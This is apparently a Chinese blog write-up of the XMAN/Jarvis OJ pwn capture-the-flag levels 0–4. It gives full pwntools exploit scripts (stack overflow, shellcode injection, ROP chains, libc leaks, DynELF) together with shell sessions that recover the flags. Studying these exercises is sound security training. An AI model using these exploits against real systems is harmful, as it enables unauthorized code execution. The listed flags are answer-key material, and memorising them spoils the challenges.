Chybeta

XMAN-pwn-writeup

web狗的二进制之路

level 0 x64

分析

main函数:

vuln函数:

用strings可以看到,有/bin/sh,这样我们不用再去写入了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = remote("pwn2.jarvisoj.com",9881)
elf = ELF("./level0")
offset = 0x80 + 8
system_addr = elf.symbols['system']
sh_addr = next(elf.search('/bin/sh'))
pop_rdi_ret_addr = 0x0000000000400663
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
p.send(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(venv) chybeta@ubuntu:~/pwn/ctf/xman/0$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9881: Done
[*] '/home/chybeta/pwn/ctf/xman/0/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Switching to interactive mode
Hello, World
$ ls
flag
level0_x64
$ cat flag
CTF{713ca3944e92180e0ef03171981dcd41}

level 1

分析

main函数;

vulnerable_function函数:

很明显的栈溢出漏洞。溢出点用pattern查出为140个字节。用checksec看后发现NX没有开启,可以插入shellcode。题目也给出了buf的地址。因此可以在buf数组中插入shellcode,然后再溢出跳转到buf的起始位置去执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote("pwn2.jarvisoj.com",9877)
# p = process("./level1")
elf = ELF("./level1")
p.recvuntil("What's this:")
buf_addr = p.recvuntil("?")[:-1]
buf_addr = int(buf_addr,16)
offset = 140
shellcode = asm(shellcraft.sh())
payload = shellcode
payload = payload.ljust(140,'a')
payload += p32(buf_addr)
p.send(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(venv) chybeta@ubuntu:~/pwn/ctf/xman/xman1$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9877: Done
[*] '/home/chybeta/pwn/ctf/xman/xman1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[*] Switching to interactive mode
$
$ ls
flag
level1
$ cat flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}

level 2

分析

main函数

vulnerable_function函数:

这题用strings查看时,会发现有/bin/sh字符串,不需要我们再去写入了。用gdb去调试,没成功,栈被重置了。不过从vuln函数里可以很清楚的看到,它先调用了一次system,而且read中存在栈溢出漏洞。而且buf的地址在bp-88h的位置。从内存的分布知道,当前栈帧的ebp再减去4个字节就是return的地址。所以溢出的offset同样是 0x88 + 4。所以这题的思路就是,覆盖返回地址,跳转到system,构造栈上的参数,给system传入sh/。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")
offset = 0x88 + 4
sh_addr = next(elf.search('/bin/sh'))
payload = 'a' * offset
payload += p32(elf.symbols['system'])
payload += p32(1) #padding
payload += p32(sh_addr)
p.send(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(venv) chybeta@ubuntu:~/pwn/ctf/xman/2$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9878: Done
[*] '/home/chybeta/pwn/ctf/xman/2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Switching to interactive mode
Input:
$ ls
flag
level2
$ cat flag
CTF{1759d0cbd854c54ffa886cd9df3a3d52}
$

level 2 x64

分析

换成64位版本,参数要用rdi传递。binary中有sh字符串,直接利用就可以。这题似乎跟level0差不多啊。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote("pwn2.jarvisoj.com",9882)
# p = process("./level2_x64")
elf = ELF("./level2_x64")
offset = 0x80 + 8
pop_rdi_ret_addr = 0x00000000004006b3
pop_rsi_pop_r15_ret_addr = 0x00000000004006b1
system_plt = elf.plt['system']
sh_addr = next(elf.search("/bin/sh"))
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_plt)
p.send(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(venv) chybeta@ubuntu:~/pwn/ctf/xman/2x64$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9882: Done
[*] '/home/chybeta/pwn/ctf/xman/2x64/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Switching to interactive mode
Input:
$ ls
flag
level2_x64
$ cat flag
CTF{081ecc7c8d658409eb43358dcc1cf446}

level 3

分析

main函数跟前面一样。

vuln函数:

仍然是栈溢出。题目给了libc.so,这样我们就有偏移。利用write泄露出read的地址后计算出system和sh的地址,之后直接调用即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")
libc = ELF("./libc-2.19.so")
p.recvuntil("Input:\n")
offset = 0x88 + 4
read_system_offset = libc.symbols['read'] - libc.symbols['system']
read_sh_offset = libc.symbols['read'] - next(libc.search("/bin/sh"))
read_got = elf.got['read']
write_plt = elf.plt['write']
vuln_addr = elf.symbols['vulnerable_function']
payload = 'a' * offset
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
p.sendline(payload)
read_addr = u32(p.recv(4))
system_addr = read_addr - read_system_offset
sh_addr = read_addr - read_sh_offset
log.success("system address => {}".format(hex(system_addr)))
log.success("sh address => {}".format(hex(sh_addr)))
p.recvuntil("Input:\n")
payload = 'a' * offset
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(sh_addr)
p.sendline(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(venv) chybeta@ubuntu:~/pwn/ctf/xman/3$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9879: Done
[*] '/home/chybeta/pwn/ctf/xman/3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] '/home/chybeta/pwn/ctf/xman/3/libc-2.19.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] system address => 0xf763a310
[+] sh address => 0xf775a84c
[*] Switching to interactive mode
$ ls
flag
level3
$ cat flag
CTF{d85346df5770f56f69025bc3f5f1d3d0}
$

exp(无libc版本)

假设题目没有给libc的话,可以用下面这个exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#p = process("./level3")
p = remote("pwn2.jarvisoj.com",9879)
# p = remote("127.0.0.1",12345)
elf = ELF("./level3")
pop3addr = 0x08048519
offset = 0x88 + 4
bss_addr = elf.bss() + 0x20
read_plt = elf.plt['read']
write_plt = elf.plt['write']
vuln_addr = elf.symbols['vulnerable_function']
start_addr = elf.symbols['_start']
main_addr = elf.symbols['main']
def leak(address):
log.info("leaking address => {}".format(hex(address)))
p.recvuntil("Input:\n")
payload = 'a' * offset
payload += p32(write_plt)
payload += p32(pop3addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
payload += p32(main_addr)
p.sendline(payload)
address = p.recv(4)
return address
d = DynELF(leak, elf=ELF("./level3"))
system_addr = d.lookup("system","libc")
log.success("system address => {}".format(hex(system_addr)))
sh = "/bin/sh\x00"
payload = 'a' * offset
payload += p32(read_plt)
payload += p32(pop3addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
# payload +=
payload += p32(system_addr)
payload += p32(1)
payload += p32(bss_addr)
p.sendline(payload)
p.sendline(sh)
p.interactive()

这个exp几乎和level4的相同,所以具体的一些坑就见下面吧。

level 3 x64

分析

函数啥的,跟前面的level3一样。参数用rdi,rsi等寄存器优先传递。构造rop链。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
p = remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
offset = 0x80 + 8
read_got = elf.got['read']
write_plt = elf.plt['write']
vuln_addr = elf.symbols['vulnerable_function']
pop_rdi_ret_addr = 0x00000000004006b3
pop_rsi_pop_r15_ret_addr = 0x00000000004006b1
read_system_offset = libc.symbols['read'] - libc.symbols['system']
read_sh_offset = libc.symbols['read'] - next(libc.search('/bin/sh\x00'))
p.recvuntil("Input:\n")
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_ret_addr)
payload += p64(read_got)
payload += p64(1)
payload += p64(write_plt)
payload += p64(vuln_addr)
p.send(payload)
read_addr = u64(p.recv(8))
system_addr = read_addr - read_system_offset
sh_addr = read_addr - read_sh_offset
log.success("read address => {}".format(hex(read_addr)))
log.success("system address => {}".format(hex(system_addr)))
log.success("sh address => {}".format(hex(sh_addr)))
p.recvuntil("Input:\n")
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
p.send(payload)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(venv) chybeta@ubuntu:~/pwn/ctf/xman/3x64$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9883: Done
[*] '/home/chybeta/pwn/ctf/xman/3x64/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] '/home/chybeta/pwn/ctf/xman/3x64/libc-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] read address => 0x7f5c484726a0
[+] system address => 0x7f5c483cd590
[+] sh address => 0x7f5c485038c3
[*] Switching to interactive mode
$ ls
flag
level3_x64
$ cat flag
CTF{b1aeaa97fdcc4122533290b73765e4fd}

level 4

分析

main()函数和前同。

vuln函数:

没给libc,自己利用栈溢出和DynELF来泄露system地址。完了后调用read函数往bss段写入sh字符串,最后完成调用。这个思路很老套了。不过自己写的时候踩了很多坑,列举如下:

  • leak函数中,若每次leak完后跳转到vuln函数地址,则远程getshell不成功,尽管本地测试可以。
  • leak函数中,需要在leak后先pop3把栈上参数清空后再进行跳转到main函数中,否则本地或远程getshell都不成功。
  • 在泄露完system地址后,若再调用一次start函数以恢复栈,则远程getshell不成功,尽管本地测试可以。
  • 还有一些…

以上几点,在以前利用时没遇到过,这次想了很久也不知道为什么。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
# p = process("./level4")
p = remote("pwn2.jarvisoj.com",9880)
# p = remote("127.0.0.1",12345)
elf = ELF("./level4")
pop3addr = 0x08048509
offset = 0x88 + 4
bss_addr = elf.bss() + 0x20
read_plt = elf.plt['read']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
start_addr = elf.symbols['_start']
def leak(address):
log.info("leaking address => {}".format(hex(address)))
# p.recvuntil("Input:\n")
payload = 'a' * offset
payload += p32(write_plt)
payload += p32(pop3addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
payload += p32(main_addr)
p.send(payload)
data = p.recv(4)
return data
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup("system","libc")
log.success("system address => {}".format(hex(system_addr)))
sh = "/bin/sh\x00"
payload = 'a' * offset
payload += p32(read_plt)
payload += p32(pop3addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(len(sh))
payload += p32(system_addr)
payload += p32(1)
payload += p32(bss_addr)
p.send(payload)
p.send(sh)
p.interactive()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(venv) chybeta@ubuntu:~/pwn/ctf/xman/4$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9880: Done
[*] '/home/chybeta/pwn/ctf/xman/4/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] leaking address => 0x8048000
0x8048000 \x7fELF
[+] Loading from '/home/chybeta/pwn/ctf/xman/4/level4': 0xf77fb930
[*] leaking address => 0x804a004
.....
.....
[+] system address => 0xf769be80
[*] Switching to interactive mode
$
$
$ ls
flag
level4
$ cat flag
CTF{882130cf51d65fb705440b218e94e98e}

:)

文件已打包:http://pan.baidu.com/s/1eR2XzNk 密码:9y4l

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
xman
├── 0
│   ├── exp.py
│   └── level0
├── 1
│   ├── exp.py
│   └── level1
├── 2
│   ├── exp.py
│   └── level2
├── 2x64
│   ├── exp.py
│   └── level2_x64
├── 3
│   ├── exp2.py
│   ├── exp.py
│   ├── level3
│   └── libc-2.19.so
├── 3x64
│   ├── exp.py
│   ├── level3_x64
│   └── libc-2.19.so
└── 4
├── exp.py
└── level4

点击赞赏二维码,您的支持将鼓励我继续创作!
chybeta WeChat Pay

微信打赏

chybeta Alipay

支付宝打赏

本文标题:XMAN-pwn-writeup

文章作者:chybeta

发布时间:2017年06月29日 - 11:06

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/06/29/XMAN-pwn-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。